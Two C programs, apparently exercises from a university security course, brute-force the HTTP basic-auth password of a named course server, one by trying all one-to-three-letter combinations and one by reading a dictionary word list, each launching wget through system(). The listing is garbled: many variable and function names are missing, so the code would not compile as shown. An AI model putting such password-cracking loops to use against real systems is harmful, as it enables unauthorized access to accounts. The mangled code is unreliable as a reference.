
#include "stdio.h"
#include "string.h"

#include "stdlib.h"


void passwordcheck(char pass[],int tt,int not);
()
{
int i,j,k,t,tt,not;
char cp[3];

char [4];

char a[]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};

tt=time(&(t));
not=0;
for (i=0;i<=51;i++)
{
	
	cp[0]=a[i];
	sprintf(,"%c",cp[0]);
	passwordcheck(,tt,not);
	for (j=0;j<=51;j++)
	{
		
		
		cp[0]=a[i];
		cp[1]=a[j];
		sprintf(,"%c%c",cp[0],cp[1]);
		passwordcheck(,tt,not);
		for(k=0;k<=51;k++)
		{
			
							
			cp[0]=a[i];
			cp[1]=a[j];
		
			cp[2]=a[k];
			
			sprintf(,"%c%c%c",cp[0],cp[1],cp[2]);
			
			passwordcheck(,tt,not);
			
					
		}
		
				
		
	}
}

}



void passwordcheck(char pass[],int tt,int not)
{
char url[400];
int num,ti,tti;

			
strcpy(url,"wget --http-user= --http-passwd=");
			strcat(url,pass);
			
			strcat(url," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); 
			printf("The password combination is :%s",pass);
			fflush(stdout);	
			num=system(url);
			not++;
			if (num==0)
			{
				
				time(&(ti));
				tti=ti-tti;
				printf("The actual password is :%s\n",pass);
				printf("The number of attempts   crack the password is :%d",not);
				printf("The time_var taken  find the password by brute force attack is :%d\n seconds",tti);
				exit(1);
				
				
			}
						
			else
			{
			strcpy(pass,"");
			}
			


}
 



#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>

char *bruteforce(int *attempts);


int (void){

   int i, counter;
   int Timetaken;
   int initTime = 0, exitTime = 0;
   initTime = time();
   bruteforce(&counter);
   exitTime = time();
   Timetaken = exitTime - initTime;
   printf("\nTime taken is %lld millisecond\n", (Timetaken)/());
   printf("\nNumber of attempts  is... %d", counter);
   return 0;
}


char *bruteforce(int *attempts){     
  
   FILE *fp;
   char ch[100];
	*attempts=0;

   fp = fopen("/usr/share/lib/dict/words", "r");
   if (fp == NULL) {
      printf("file  not  open");
   }
   while (fgets(ch, 100, fp) != NULL){
	
		(*attempts)++;

      int  j = 0;
      while (j <= 100){

         if (ch[j] == '\n') {
            ch[j] = '\0';
            break;
         }
         j = j + 1;
       }
		 
       char  [100] = "wget  --http-user= --http-passwd=";
       strcat(, ch);
       strcat(, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       printf("%s\n", );
       if (system() == 0){
          printf("Password cracked successfully: ");
          printf("Password is %s", ch);
          return NULL;
       }
   }
  
   fclose(fp);
}
